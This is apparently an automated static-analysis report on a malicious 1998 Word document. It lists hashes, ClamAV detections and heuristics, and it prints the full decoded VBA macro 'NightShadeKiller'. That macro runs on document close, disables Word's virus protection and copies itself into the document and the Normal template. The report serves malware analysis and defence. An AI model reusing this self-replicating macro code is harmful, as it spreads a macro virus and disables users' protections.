Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db4b18e65850e8b5…

MALICIOUS

Office (OLE)

29.5 KB Created: 1998-02-20 15:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a2caf7040b80fece0fa99a2e42af9cea SHA-1: 852860cbfa5750212884fbec8ad13cc92de50eff SHA-256: db4b18e65850e8b55ba82773fd914c3333c4cd8f09ab93d61fb759c2e8595587
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with multiple critical detections, including 'Doc.Trojan.Beauty-1' and 'Doc.Trojan.NightShade-2'. It contains a VBA macro with an AutoClose function, which is a common technique for executing malicious code upon document closure. The macro's description suggests it's a self-proclaimed 'vaccination' against a 'NightShade word macro virus', indicating a malicious intent to either spread or disable other malware, but it is itself malicious. The presence of legacy WordBasic auto-exec markers further supports the exploitation of older vulnerabilities.

Heuristics 4

  • ClamAV: Doc.Trojan.Beauty-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Beauty-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2413 bytes
SHA-256: 9180a94ed3072e2275f972c2509a9f35790b6d1723608442965c1238734bbf9c
Detection
ClamAV: Doc.Trojan.NightShade-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NightShadeKiller"

Sub AutoClose()
Attribute AutoClose.VB_Description = "Night Shade Killer - Vaccination to get rid of the NightShade word macro virus, that pretends to be an anti-virus Macro called ScanProt! 11/97, Ax"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Project.NightShadeKiller.AutoClose"
On Error GoTo NightShadeKiller

     Assistant.Visible = True

        With Assistant.NewBalloon
            .Icon = msoIconAlert
            .Text = "VACCINATION FOR 'Word97.NightShadeKiller word macro virus'. I got so tired of cleaning this virus that I decided to use its own code to clean itself from the whole system- Clean up with a vengeance! - by Asterix!"
            .Heading = "Attention:"
            .Show
        End With

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate

    DocumentInstalled = False
    GlobalInstalled = False

    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "NightShadeKiller" Then
            DocumentInstalled = True
        End If
    Next

    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "NightShadeKiller" Then
            GlobalInstalled = True
        End If
    Next

    If DocumentInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="NightShadeKiller", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="NightShadeKiller", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
    End If

     Application.DisplayAlerts = wdAlertsAll

NightShadeKiller:
End Sub